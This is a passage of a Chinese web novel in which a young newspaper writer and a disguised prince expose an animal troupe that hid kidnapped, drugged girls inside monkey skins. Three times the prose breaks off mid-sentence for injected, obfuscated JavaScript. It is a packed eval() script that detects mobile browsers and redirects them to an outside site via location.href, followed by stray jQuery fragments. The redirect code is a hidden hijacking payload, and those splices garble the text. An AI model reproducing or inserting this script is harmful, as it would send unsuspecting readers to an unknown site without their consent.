“线索到这里算是断了呢。”阮竹君叹一口气,无奈地评价道。 瑜瑾君沉吟:“但总感觉离真相只剩一步之遥,我们这些平民百姓凭借自身力量追查探案,难道真的只能止步于此吗?” 顾婉妤坐在凳子上听着他们讲话,却仍在神游天外,她的思绪又飘回了那个冷冰冰的带着腥气的后院。 这些天来,她的理性一直在提醒她自己——那个院子一目了然,无处可藏。 但是她更深层次的潜意识,却总是忍不住在说——或许,或许就在那里! 江湖有云:最危险的地方就是最安全的地方。 但就像流火君说的那样,没有证据,光靠随心所欲的猜测,怎么能证明真相吗? “婉妤?”阮竹君问,“你还是想去查探驯兽大棚吗?” “啊……”顾婉妤被唤回神来,露出犹豫的神色,说到底,还是没有形成对真相的内心的确信,对自己的直觉也缺乏自信。 “没关系。”阮竹君善解人意地安慰,“你可能就是太想找到孩子们,反而过于执着使自己的思维走进了死胡同。” “那我们该怎么办呢?继续守着吗?”流火君趴在桌子上,显然已经要被多日的坚守熬干了。 正在一筹莫展之际,院门一响,是崔煜川带着食盒来犒劳大家了。 “哇,王府的美食啊。”食盒一开,顾婉妤被这香浓的味道勾得几乎要流口水了。 流火君也已经爬了起来,眼巴巴地蹲在一旁等待开饭,简直像只嘴馋的大型犬。 “呵呵,谢谢阿洋。”阮竹君忍俊不禁,又诚挚道谢,“多亏有你,大家的士气才能不断回来。” 瑜瑾君也点头微笑。 “没什么,大家都辛苦了,我也不能什么都不做。”崔煜川摆摆手,“不说这个,快吃吧。” 饿是饿得很了,尤其是专门负责盯梢的两人,简直是风卷残云一般。阮竹君拿着手帕给顾婉妤擦擦嘴,对这个宝贝妹妹爱护得紧,其他人也爱见她吃得香。 “我呢,我呢?”发觉自己受了冷落的流火君连声发问。 “也要我给你擦嘴吗?”瑜瑾君默默举起手边用来写字的纸。 流火君脖子一缩,没面子地接着蒙头干饭了。 大饱口福之后,顾婉妤感觉自己的心情变好了许多,脑中的思虑和瞻前顾后也随之减少了。她又把自己心中最大的猜想和疑问拿出来让诸位哥哥姐姐们讨论——驯兽团的大棚及后院,究竟有没有可能藏下那两个孩子呢? 11. 春山如笑(11) 如果答案是不可能,还是得早作打算往其他方向探查,也不能就此打住,自认破案无能了。 “我绕着那地方看了一圈,简直是四不沾,周围没有其他的通道能连接到别处。”流火君信誓旦旦,“至于大棚里面什么样,后院有没有密道,就不清楚了,毕竟我没进去看过。” 顾婉妤摇摇头,她也无法确定。 “如果趁夜里进去看,有办法不被发现吗?”阮竹君转头问。 “他们每天都有人守夜。”流火君对阮竹君解释道,“而且在不确定孩子们在哪里的情况下,一旦让他们警觉起来马上跑路,就更难办了。” “可以用其他理由把他们扣下来吗?”瑜瑾君突然提议,“比如报官说他们杀人。” “杀谁?”其余人一脸茫然。 “杀了刘家的女儿们。”瑜瑾君露出个温文尔雅的笑容,说出来的话却显得有些疯狂,“我去报官,就说我看到了是他们杀了两个小姑娘。” “别吧,诬告也是要被治罪的,而且是重罪。”顾婉妤连忙规劝,“瑜瑾大哥你又不是不懂,怎么还伤敌一千自损八百呢!” 瑜瑾君头脑聪慧,面上看起来性情温顺没脾气,实则乖张又叛逆。因此他偶尔会作出的一些惊人发言真是要叫人吓掉下巴,他们认识了许久也还是时常跟不上瑜瑾大哥的思路。 阮竹君无奈地笑了:“你快打住吧,别这样。” 不过瑜瑾大哥还真给顾婉妤启发了一些新灵感。 如果做事可以不计后果,她真想直接带官府的人马闯进那间后院,喝令所有驯兽团的人都不许动,然后由他们来把那地方翻个底朝天。 只因她实在是无法放弃头脑中那个深深潜藏的想法——孩子们就在那间院子里,一直都在。 她们作为巴休蒙最重要的“商品”,理应与其他珍奇异兽一样被巴休蒙关在那里,这样他才可以做到不需要去其他地方也能给她们投喂食水维持生命,就像饲养的其他动物一样。 虽然她没有看到真实,也想象不到真实,但她的心,一直在诉说着这样的念想、重复着同样的话语:快去吧!她们就在那。 顾婉妤霍然站起身,急急地来回走了两步,然后将她的想法告诉了大家。 “你是说,直接去报官然后带着官兵去抄了他们的棚子,能找到人算他们运气差,找不到人你自认倒霉进大牢?”流火君一脸无语,“你的主意与瑜瑾君的点子如出一辙地激进。” 瑜瑾君则是点点头:“你懂我,君子不能畏首畏尾的,车到山前必有路。” 阮竹君忍不住拍了一下瑜瑾君:“君子还说‘谋定而后动,知止而有得’呢。你们这样与豪赌何异?” 真是的,瑜瑾君这个样子,完全把婉妤带偏了,要是真害得婉妤被官府追究……她和他没完! 这时,一直沉默不语的崔煜川说话了。 他一开口,便直接说:“我同意顾婉妤的主意,可以做。” 阮竹君睁大了眼睛。 但是,或许是因为崔煜川的身份摆在那,竟让阮竹君觉得,他说可以,他就一定有办法保护好顾婉妤的安全。 “阿洋,你也觉得此事可行吗?”顾婉妤倒没有如往常得到认可时一下子跳起来的那般激动,反而是冷静地询问。 “不管行不行,我们现在都没有别的办法了。不彻底去闹一番确认,怎么能平息心中的波澜?”崔煜川此时的言语,终于显露出他作为当朝王爷的底气来,颇有种天不怕地不怕的少年豪气,“只要你们决定了,我定使出浑身解数为你们保驾护航。” 既如此说了,事情便真的确定了下来。 顾婉妤等人的计划是兵分两路,由流火君带一队衙门官兵先去旅店搜查,把大半驯兽团人员引过去之后,顾婉妤和崔煜川再带另一帮人马去驯兽棚内进行一番彻底的探查。 “万一失败怎么办?”顾婉妤半是激动,半是担忧。 “后果我来担着。”崔煜川干脆利落。 他没有说出来的话其实是,多年以来他被压抑着身心,身为王爷从不敢擅用可以调动的资源。目睹江山社稷的光明与黑暗,他有鸿鹄之志,却是一身本领无处可施,一退再退,退无可退,多少话只能憋在心中自伤。 顾婉妤他们为了匡扶正义,为了帮助百姓,甘愿倾其所有、破釜沉舟的行事作风给了他勇气,他也想跟着他们豪赌一把。 若是胜了,就是上苍眷顾他多年来的隐忍。若是败了,也是他尽情行其所想之后才败的,可以甘心认下。 崔煜川虽是无实权的闲散王爷,但进了上京府衙照样被沿路恭迎,一路迎至上宾。 知府王卓陶听人来报,说煜王爷来了,差点被惊掉胡子。 “煜王怎么会来这里?”他惊疑不定,心道不会是朝中有大事发生?难道与边境战争有关?难道崔晏桓战死? 一瞬间,心思如电,百转千回,众多猜想涌上心头,桩桩件件皆是震动天下的大事。 王卓陶马上推开案上卷宗,来到前衙,与煜王议事。 没想到,煜王见他来了,说的却是另一件民间小事。 当然作为,上京知府,王卓陶还是非常体恤百姓的一名好官,刘家女儿失踪的这件案子,他也非常重视,还曾特意令上京最了解市井情形的巡铺士兵们沿街搜查。 但是多年从不曾插手朝政的煜王难得一朝前来衙门做客,居然不是为了天下大事,而是为了这桩民间并不少见的幼儿失踪案子,真是令他摸不着头脑。 王卓陶甚至怀疑,煜王爷话里有话,他还试探地问了:“这刘屠夫家的案子,难道其中别有乾坤?牵扯到了朝中命官?” “我等也并不知晓,若王大人愿意深入探查,自然最好。”崔煜川如此回答。 这……这也不像是别有实情啊? 最终,王卓陶只能心怀疑惑地满口承诺,定全力帮助煜王爷侦破此案。至于在没有实质证据的情况下进行搜查是否不合章法…… 王卓陶十分有眼力见地承诺道:“市场买卖,本就应当受官府管理,遵守法令。巴休蒙等人暗地进行交易,并不合规,合该查他几下,想必他们也无话可说。” “有劳您了。”崔煜川道谢。 知府要查案,效率必然高。等流火君他们知道的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840145|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,崔煜川已经请衙门调来了两支隶属于京城巡检司的队伍,可谓十分重视。 “兵贵神速啊!”流火君大加称赞,“阿洋,别看你年纪轻轻,有前途!” 他作为一名江湖侠盗,还是第一次和官家的士兵合作,自然是十分新鲜。而且这些士兵待他极有礼貌,简直是把他当成带队长官般马首是瞻。流火君头次得到此等待遇,站在装备齐全、威风凛凛的士兵们旁边,简直是春风得意。 身后,阮竹君和瑜瑾君交换眼神。 “他还不知道吧?” “只有他不知道了。” 阮竹君扶额,无语中夹杂着几分好笑。 一行人中,只有流火君还蒙在鼓里,以为阿洋真的只是阿洋呢。 要说流火君,聪明肯定是聪明的,但有些时候也确实迟钝得引人发笑啊。 顾婉妤则提前一步,被崔煜川带去了骊街上的巡铺。骊街人多眼杂,而驯兽团那个大棚又小,没必要找那么多士兵。于是他们这边只带一个巡铺队伍。等流火君那边闹起来了,把人引过去,他们就马上行动。 是夜,太阳刚刚沉下,天色还不很黑,骊街上的灯火渐渐亮起,就见驯兽大棚中出来几个商人,着急忙慌地往旅店方向跑去。 巡铺士兵来向崔煜川报道情况。 “只出来了几个人?”崔煜川重复询问,得到了士兵的点头确认。 顾婉妤和他默契地对视一眼。 赌赢的概率又增加了。 明明官府搜查,对他们这些行事并不完全合法正当的胡商来说,是可能被赶出大景的严重事端。尤其领头人巴休蒙,最应当及时赶去解释处理。但他们却固守在这个大棚里,怎么能说其中没有值得深挖的原因呢? “走。”崔煜川一声令下。押铺长官便号令士兵,跟着崔煜川和顾婉妤急急前往驯兽团。 他们一行动起来,便格外乍眼。骊街上的小摊贩连忙避让,生怕惹上麻烦。 顾婉妤是急性子,又特别在意此次行动的成败,因此她冲在最前面。看到那熟悉的大棚后,她不顾门口人的阻拦直接闯了进去。 棚中此时没有表演,也没有观众,冷冷清清。但好几名胡商手持长刀冲了过来,连声嚷道:“干什么!” “皇城军队奉命搜查,谁人敢拦?”押铺长官举着上京府的牌子紧随其后冲了进来,生怕顾婉妤这个看上去娇娇弱弱的姑娘有什么闪失。 崔煜川殿后,不紧不慢,眼如鹰隼,扫视过周围,以防有任何突袭。 正在僵持中,巴休蒙一甩门帘,走了进来。 他仍是那副华丽到夸张的打扮,面上带着市侩与虚伪的模样。 “怎么,长官老爷们,也要来看表演吗?”他皮笑肉不笑地说道,“只是不知……是否买票!” “巴休蒙,我等奉上京府知府手令前来搜查,你方不得阻拦,否则以妨碍公务论处,别怪刀剑无眼。”押铺说完,便大手一挥,“搜!” 巴休蒙的笑容中透出一股叫人遍体生寒的阴森,他让开身位,冷笑道:“搜吧,搜吧!” 顾婉妤见他这样,心中又有不好的预感。 12. 春山如笑(12) 巡铺士兵们成日镇守上京,威慑罪犯,干的活又多又杂,什么大风大浪没见过。押铺一声令下,他们就搜查起来,动作之快,经验之丰富,令那些持刀的胡商一时六神无主起来。 巴休蒙却依旧淡定自若地站在那里,说道:“让他们搜。” 顾婉妤和崔煜川是直冲着后院去的,一进去,顾婉妤就看到后院的摆设布置几乎没有任何变化,还是那副脏兮兮的样子,动物们都在笼子里趴着,没什么精神。 “搬。”崔煜川和顾婉妤对视一眼,便一起上前搬动那些笼子,露出下面的地面,查看有没有藏起来的地窖或密道。 一时间笼子里的动物们都躁动起来,尤其是狮子立马爬了起来,冲着笼子外的他们发出警惕与威胁的吼声。狮吼低沉又震耳,绵长回荡在这小小的地方,令人不禁心脏为之一颤。 顾婉妤咬牙使劲推开笼子,漂亮的绿衣沾上些脏污的黑印。她在心中拼命祈祷,一定要在这里找到两个孩子啊。 然而事情的发展却并不如她所愿,因为笼子都搬开看过了,却没有发现什么。 士兵们一寸一寸地摸过院墙,似乎也没有隐藏的密道。 顾婉妤的脸色阴沉下来,她转头看向一旁好整以待,露出嘲弄笑容的巴休蒙。他好像在说,你们找不到,又能奈我何? 已经走到这一步了,如果没有崔煜川的帮助和信任,她这辈子都动用不了官家的资源。明明真相就在咫尺之间,难道真要令他人失望,令小人得逞,真要让崔煜川替她承担一切的后果吗? 难道这次,真的是自己冲动了? 难道孩子们早就被运到别的地方了? 巴休蒙他们在上京,到底有什么样的背景和上线,能替他们解决一切,连黑市复杂的情报网都无法追查到任何的蛛丝马迹? 不,不可能。 顾婉妤微微垂下头,长吸一口气,一定还有什么是她忽视掉的,一定能找到。 因为,就算她不信任自己,也要信任同伴。 流火君在黑市多番追查,动用了多年积累的所有人脉,都查不到巴休蒙他们与谁有暗地里的联络。他说,驯兽团时隔几十年才到访一次大景,人员也全部变动了一番,就像水中的浮萍,没有脉络可循。 而崔煜川和瑜瑾君,更是全心支持她这个显得鲁莽的决定。他们说,只要她下定决心去做,即使她自己也没搞明白其中的因果,他们也相信她聪慧的潜意识已经发现了旁人无法发现的蛛丝马迹。 阮竹姐姐说,我只担心你是否会遭到官府追究,既然阿洋已经解决了这项后顾之忧,那么你就大胆地做你想做的吧。 顾婉妤抬起眼睛,眼中是从未有过的光芒和锐利,她跑到阿丽亚什跟前看着它,这只性情温和稳定的大象向她投来善意和熟悉的目光。 阿丽亚什没有问题。 她又跑到狮子跟前看,这个瘦的皮包骨但仍然威风凛凛的家伙正耸起矫健坚实的背,以高级捕食者的姿态和威严与她对峙。 狮子也没有问题。 这个院子里,一切的东西都翻遍了,还是没有的话,唯一没确认过的,就只剩下动物本身了。 她要看一遍,每一只动物都看一遍。 崔煜川默默地守在顾婉妤的身后,不容许任何人来打扰她。 两人都没有发现,远处巴休蒙的脸色变得极差,他的胡子颤抖着,想要往外走去,却被士兵拦住。 “放我出去,你们这是强盗一般的行径!” 大棚外又传来一阵喧嚣,一只小狗绕过阻拦的士兵,从人们的脚底钻了进来,随后殷小英也喊着“我把它抱出去”,强行闯了进来。 小狗的身上皮毛杂乱,跑起来时右前腿也有异样,但它一往无前地冲向了后院,好像小小的身体上受的伤一点也不痛一样。 后院里,顾婉妤还在看,仔仔细细地看过每一只动物。 鸵鸟长得很奇怪,是她没见过的样子,但没有问题。 鹦鹉这种色彩斑斓的小鸟居然会说人话来回应旁人发出的声音,也不知道是真的听懂了还是不懂装懂,总之也没有问题。 顾婉妤再走到雉猴的笼子前,这些猴子的样子同样非常奇怪,分明是猴子的身形,却长着公鸡样式的华丽长羽毛,覆盖了身上大半部分,难怪要取名叫雉猴,真是贴合。 它们睡得很熟,上次顾婉妤来,它们也安静地待在笼子里,和顾婉妤心中那种很灵活、很顽皮的猴子形象相差甚远。 顾婉妤拍拍笼子,却没有把它们吵醒。这些猴子或躺或趴地挤在这个不大的笼子里,像死了一般安静。 忽然,一种毛骨悚然的感觉涌上心头,手臂汗毛直立,激起一阵鸡皮疙瘩。 顾婉妤呆住了,不可置信地看着这些猴子。 小狗冲过来,在顾婉妤的脚前站定,对着笼子疯狂地“汪汪”叫了起来。 远处,巴休蒙夺了刀,要往外面跑,被士兵们按倒在地上,他不甘心地吼起陌生的语言。 人的喊声,与狗叫、狮哮、象鸣等各种声音交织混杂在一起,震得顾婉妤脑袋发疼。 她捂起耳朵大声喊:“把这个笼子打开!” 后院中的士兵们也明白了顾婉妤的意思,说实话,这是正常人都想不到的事件发展,他们惊讶地瞪着眼,用刀去砍笼子上的大锁。 崔煜川来到顾婉妤身边,抬起一只手捂住顾婉妤的脑袋,他手掌的温度透过顾婉妤冰冷的指间,仿佛要一直渗透到她的心里去。 “做得好,找到了。” 随着一声巨响,笼子上的锁被砍断了。士兵们上前抱出一只猴子。 一动手便能发觉异样,这些皮毛摸上去并不是真实动物皮毛的感觉,因为手掌之下的感触并不是毛发和紧密贴合的温热的肉,而是皮毛与布料。 这哪是什么雉猴,分明是被塞进动物皮里的小孩子。 孩子的脸大半被毛发遮着,又紧闭着双眼沉睡,说是猴子也并不违和。 顾婉妤冷汗淋淋,一阵后怕。 如果今天没有直接来搜查,一旦驯兽团离开上京,饶是早有准备,戒备森严的守城军,也无法发觉他们要找的孩子就在眼前啊! 看着孩子们从笼子中被一个个抱出来,拨开厚重的皮毛,让他们沉眠的小脸蛋露在空气中。顾婉妤低低地说:“我们还是太缺乏想象力了。”随后她又咬紧牙关,满目仇恨地转头,瞪视所有已经被官兵按倒在地上的驯兽团团员。 多么残忍,禽兽不如! 小狗伸出舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840146|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,舔了舔地上小姑娘的脸。 小姑娘穿的正是红色的衣服。 终于说服拦路的大人,跑过来的殷小英,看到这一切,终于也明白了过来。 即使她看到满地又脏又怪异,既像人型又如兽型的皮毛,看到气息微弱生死不明的孩子们,都感到非常害怕,她也强忍住了,捏紧了颤抖的拳头走到小蝶身边。 小小的小蝶是救了孩子们的功臣啊。 被救出来的一共有5个孩子,都是女孩,其中就有刘家的一对双生女儿。 阮竹君的画工出神入化,使顾婉妤一下子就认出来了。 “所有人都带回衙门。”崔煜川对押铺说,“请最好的大夫来医治。” 夜幕下,正是骊街一天中最热闹的时刻,骊街上的百姓们见到平日神气十足的巴休蒙一行人被官兵押出来,都不由得吃惊地站住了脚围观,议论纷纷。 孩子们也被抱了出来。这段时间骊街上的摊贩几乎都被问过话,因此都知道有孩子丢了。这下,所有人都明白了,原来孩子是被这些外域人拐走藏起来了! 只是,他们是怎么藏得住的呢? 所有人都满心的好奇,又万分痛斥这些见钱眼开,犯下罪行的人。 顾婉妤和崔煜川走在最后。押铺跟在他们旁边,连声拍起了马屁。 “煜王爷和这位小娘子真是厉害!衙门办不下的案子,你们都能顺利破案。果然崔家龙子血脉,真乃我大景栋梁之才。” 估计这位平日走街串巷,一贯朴实实干的押铺是掏空了心思,才能说出一句漂亮话来。 可惜煜王爷压根没在意他讲了什么。 “顾婉妤,你没事吧?” 崔煜川皱眉望向脸色苍白的顾婉妤,或许是情绪起伏过大,她出了满脑袋虚汗,嘴唇都发青了。 “没什么,我就是……一时之间不能接受罢了。”顾婉妤缓缓摇头,素来活泼爱笑的脸上此时露出许多的虚弱,身子也乏力,“看到孩子们被毛皮裹住,不知道受了多少苦。又想起小英,若不是被我们遇到,可能她就是巴休蒙的下一个目标。” 崔煜川愣住,顾婉妤说得对,虽然他没有想到过,但此事确实如此,殷小英从一开始接触到那只叫小蝶的小狗,或许并非意外,而是巴休蒙早有预谋。 即便是动物,也有怜悯之心,也有善意。而巴休蒙他们,当真是被金钱蒙了眼,猪狗不如。 顾婉妤情绪复杂,太多心思与感触交织在一起,冲击了她素来纯真又善良的内心,使她油然而生一种强烈的心愿。 “阿洋……”顾婉妤轻轻地对崔煜川说道,“我好怕还有这种事发生,好害怕大家受到坏人的伤害。” “嗯。”崔煜川见她脸色不对,连忙伸出右手握紧顾婉妤的手。 他希望顾婉妤能感受到他的支持、他的理解,并能藉此支撑起顾婉妤,使她更加勇敢。 “我没有事。”顾婉妤提起嘴角,露出一个仍还明媚的笑容,手指回握回去,这份温暖她必不会忘记,“我是想在此立志,今后必定继续惩恶扬善,尽我所能,护大家安居乐业,一世太平。” 只一瞬,崔煜川便被她漂亮的微笑晃了眼。他感同身受,此时这一刻,他们共享着相同的心绪,灵魂共振。 13. 春山如笑(13) 直到快要步入衙门,顾婉妤和崔煜川握紧交叠的手才松开。 顾婉妤冰冷的手指已经被捂暖了,她不安定的心脏和混乱复杂的思绪也安定下来。 “下次再遇到这种事,我不会害怕了,也会把事情考虑清楚,更加有底气之后再去行动。”顾婉妤神情认真,对崔煜川说,“君子抱仁义,不惧天地倾。” 能说出此种话的,当真不是一般人。崔煜川心中叹服,也含笑点头道:“我相信你。” 他自己何尝不是这样想的呢? 难得志趣相同,人生得一知己难。 巴休蒙等人直接被官兵压进了牢里,而孩子们则是被妥善安置在衙门的后堂。 王知府十分重视,请来了御医给孩子们医治,又亲自去牢中审问犯人,问清他们每人的背景来历,究竟给孩子喂了什么药,又有什么目的,竟敢在上京城里偷偷犯下如此大罪。 而顾婉妤和崔煜川被请坐在了堂前,王知府叫他们稍安勿躁。 老衙役在一旁陪着,他经验丰富,通晓上京民情。讲起多年前上京也曾发生的双生子失踪案,他讲得生动神秘,头头是道,叫已经知道了背后真相的顾婉妤听了仍旧忍不住冒汗。 崔煜川问他平日里上京的治安情况,近来上京府办了哪些大案要案,他也都能一一对答如流。言谈之间,他见崔煜川和顾婉妤神色熟稔,交流自然,忍不住好奇地询问:“不知煜王是如何知晓这个案子的,这位姑娘又是何人呢?” 衙门的人都主动询问了,这对过去那个刚刚认识顾婉妤,还对她写在小报上那些子虚乌有的风流绯闻耿耿于怀的崔煜川来说绝对是个“告状”的好机会。但现在崔煜川已经彻底平息了捣毁顾氏小报,惩罚顾婉妤一行人的心思了。 崔煜川摆摆手:“都是恰巧遇到罢了。” “煜王真是关心百姓,有您如此,是大景子民的福啊。”老衙役赞不绝口。 崔煜川却并没有露出多高兴的神色。能侦破案件,功劳分明在顾婉妤那里,衙门的人却从头到尾只看得见煜王爷的存在,交口称赞着他,这不也有些可笑吗? 他斜靠在太师椅上,偷偷地看顾婉妤,却发现她神色如常,一点也没有露出不满来,甚至还伴着老衙役的话微微点头。 崔煜川却不想这样,他甚至希望顾婉妤能更高调一点,像往常那样明媚又强烈地发着光,站在所有人之前。 她的光芒不该被任何人掩盖,就算那个人是他自己。 正在出神之际,一些急匆匆的脚步声叩响了衙门内院的石板路,从远处传到近来。 堂内坐着的几人转头去看,果然是受害孩子们的家属被带来了,一起回来的还有流火君等人以及从旅店捉拿归案的驯兽团成员。 胆敢在大景都城犯下此等重案,任何一个漏网之鱼都别想跑。 流火君神采飞扬,这大概是他人生头一遭风风光光地踏进衙门:“小妤,阿洋,我们来了!孩子们在哪里!” 刘大姐和刘屠夫满脸写着焦急、喜悦。尤其是刘大姐见了顾婉妤简直像见了亲人,扑过来握住顾婉妤的双手:“婉妤……谢谢你们!” “刘大姐,不用客气!”顾婉妤露出大大的笑颜,有着治愈人心的力量,“快走,我们去看看孩子们!” 大家风风火火地往后堂走,到了暂时安置孩子们的房间前,又自觉放缓了脚步。 尤其是孩子们的父母,简直是小心翼翼,生怕打扰了医生医治,几番咽下哽咽的声音与泪水,才推开了门。 胡御医正在给静静沉睡的孩子们把脉。 饶是有了心理准备,看到一个个脸上骨头都瘦出来,头发衣服乱糟糟的小女孩,她们的父母仍然是红了眼眶。 真的是受苦了,难以想象孩子们离开了父母,被藏在冷冰冰的笼子里,身边是没有见过的猛兽,又天天被坏人喂下不知名的药物,她们该有多么害怕呢? 更别说,若是顾婉妤等人今天没有出手,孩子们可能就要与父母永远地分开了,最差的情况甚至是被用作活祭的道具,从此天人两隔。 思绪至此,悲伤的父母纵然是强忍着,也无法再忍住后悔、担忧、庆幸种种情绪交织在一起的泪水。 “胡御医,怎么样呢?”崔煜川轻声问。 “回禀王爷,孩子们被喂食了蒙汗药,所以才长睡不醒。蒙汗药虽然对身体有害,但好在喂食的时日不长,身体的底子还没有被破坏。经过调理,都可以恢复。” “胡御医,请你一定要帮助孩子们恢复过来,万万不能留下后遗之症。”崔煜川说道。 “这是自然的,请王爷放心。” 有了胡御医的保证,大家的心情终于放松下来。孩子们的父母又是心疼,又是万幸,自然纷纷留在了此处陪伴自家的小孩,而最大功臣——顾氏小报一行人则出了房门。 只是,一出门,流火君就对其余所有人侧目而视。 其他人对他为何有此反应皆是心知肚明,刚刚还沉闷压抑的气氛顿时一转欢乐。 “干什么你。”瑜瑾君忍不住笑话他。 “只有我不知道,是不是?”流火君崩溃地说,“你们都瞒着我!” “这可没有啊,阿洋从来没主动提起过他的真实身份,都是我们自己猜出来的。”顾婉妤笑嘻嘻地辩解,“谁笨笨地猜不出来,只能赖他自己啦。” “这……这这这。”流火君僵硬地转动脖子,见其余四人都一脸好笑地看他,终于明白过来,“好啊,你们早就想看我笑话了,是不是!” “怎么能说是笑话呢,只是在想你究竟什么时候能反应过来。”阮竹君也坏心眼了一次,开口补充道,“还是说你心里觉得自己是个笑话呢?” 顿时,流火君受到强烈的暴击。他“嘤嘤”假哭着,说着“你们都太坏了”,心碎地跑了出去。 崔煜川在一旁看得津津有味。 自从崔煜川与顾婉妤一行人相遇之后,每次见面流火君都是以“一个人急匆匆地跑出门”为结束,不知道该说他性子急,还是该说他很好笑。 “反正不管他,他下次还是会准时出现的。”阮竹君对着流火君的背影点评道,又对顾婉妤说,“这次的案件,我们可有的写了。” “对!”顾婉妤的眼睛亮起来,她都还没想到这一层,“这个案子在小报上刊载出去,肯定能吸引很多眼球!” “尤其是街坊邻居们都关注着走失的孩子们找回来没有,大家一定想看看中间发生的这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840147|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。”阮竹君说完,又突然忍俊不禁地说,“这次终于不用靠着小王爷的绯闻卖报了。” 阮竹君看起来温温柔柔的,骨子里的确有种看热闹不嫌事大的顽皮感觉。 “哎呀……怎么突然又说回到了这件事……”顾婉妤不好意思地偷偷看崔煜川,“以后不会写这个了,真的!” 崔煜川没有生气:“这还差不多。” 于是,成功破了案,满腔热血还没有凉下去的顾婉妤决定马上回家开始写小报文章,而阮竹君和瑜瑾君也各自另有安排。 他们这群人合则分工明确有默契,分则各自有各自的事业与安排,崔煜川已经习惯了他们的作风。 “阿洋,要跟我回家做客吗?”顾婉妤盛情邀请。 崔煜川摇了摇头:“算了,不打扰你了,回去好好做文章吧。” 四人在街上道别,各自走向了不同的方向。 “对了,等一下。”崔煜川叫住顾婉妤。 “怎么了?”顾婉妤跑回来。 “那个……”崔煜川看向别处,有点不好意思,像是做足了心理建设,他才转回来,看向顾婉妤,“我是想说,既然大家都知道我的身份了,以后就别喊我‘阿洋’了,听起来怪怪的,这原本就只是我随口胡诌的名字。” “这样啊,”顾婉妤点头,认真问,“那确实理应改口了,我该叫什么呢?煜……煜……” 原本还神色自然的顾婉妤突然脸红结巴了,她才反应过来,要是叫名字,好像有点太亲热了。 怎么会这样,怎么突然会这么害羞呢…… 素来伶牙俐齿的女孩子捂住脸颊,感到羞人。 她却没有看到,崔煜川也是十分不自然地望天望地,不敢接话。 两个人在大街上懵懵地对站了一会,又双双清醒过来……自己这是在干什么呢! “就叫我阿煜吧。”崔煜川故作冷静地说,幸好顾婉妤此时依然埋着脸,只给他露出来一个圆滚滚的头顶,看不到他脸上的慌乱。 “哦,阿煜……”顾婉妤干咳两声,才重新抬起头,“那个……那你也叫我小妤吧。” “嗯。”崔煜川张了张嘴,突然话锋一转,“那我回府了。” “哦……”没听到崔煜川叫她小名,顾婉妤茫然地点了点头,就见崔煜川转身跑了,简直是落荒而逃,和流火君有得一拼。 她尴尬地支吾一声,抱住脑袋,也赶紧转身跑回家了。 跑着跑着,顾婉妤突然想起来,她还没问过崔煜川和揽月楼的云锦到底是什么情况呢! 发热的大脑冷静下来,顾婉妤由跑变走,秀气的眉毛微微皱起。 对啊,这个事情,她怎么忘记打探了呢。 “嗯……如果他们还在一起的话,我当然是要百般祝福支持的,毕竟我是好朋友嘛。”顾婉妤自言自语道,“而且我的读者们都还期待后续呢,为了小报的读者们下次也一定要问问清楚。” 少女拍了拍自己的脸颊,又充满干劲的往家走去。 好,开始干活! 顾婉妤没有想到的是,此日之后,她很久没能见到崔煜川。而反而是她以为这辈子都不会与自己有什么交集的云锦美人,突然出现在了她的面前。 14. 雨打芭蕉(1) 睡了一个美美的好觉,一早醒来,推开小轩窗,便见窗外庭院中红砖湿淋,饱满的露水顺着绿木枝叶滑落,掉进盛了红尾金鱼的水缸中,在荷叶下振荡起浅浅的波纹。 原来昨晚真的下雨了,还以为听到的雷声是由梦而生。 顾婉妤伸展腰身,道又是一个好天气。她换了一套轻薄的便装,走出卧房。 家中静悄悄的没有人,看来母亲已经出摊做买卖去了,父亲大概也陪同在一处。 虽然父亲的腿脚仍然不便,但至少不用坐轮椅了,拄着拐杖便可行动。对比起他原来严重的伤势,已经可以说养伤养得非常不错。 他能拄着拐行走以后,就变得愿意出门,也时常回到印坊去看看,指导一下小辈们的工作,瞅着心情好了不少,与母亲的关系也愈发和睦起来。 近来都是如这一般的好消息呢。想到此处,顾婉妤开心起来,走进书房。 书案上摆了好多来信,都还没来得及拆开一一阅读,散乱地堆在一处。 顾婉妤坐在案前,随手拿起一封打开。 这封信读来很有意思,信中讲了一个鼠妖偷出富人家的米粮赠予穷苦百姓的志怪故事,故事写得很有水平,用词生动精妙,使人如同身临其境,亲眼见证这样一只劫富济贫的侠义之鼠。 来信人落款“古道先生”。 顾婉妤用笔在信纸上打了个记号:“这篇写得太好了,一定要登在小报上呢。谢谢你啦,古道先生。” 再拿起一封信,信的内容又迥然不同。这封算是求助信,是上京附近一个村子里的老农民专门请人代写寄来的,说是女儿和外乡的商人私奔跑去南方了,能不能帮忙找找女儿,让她回家。 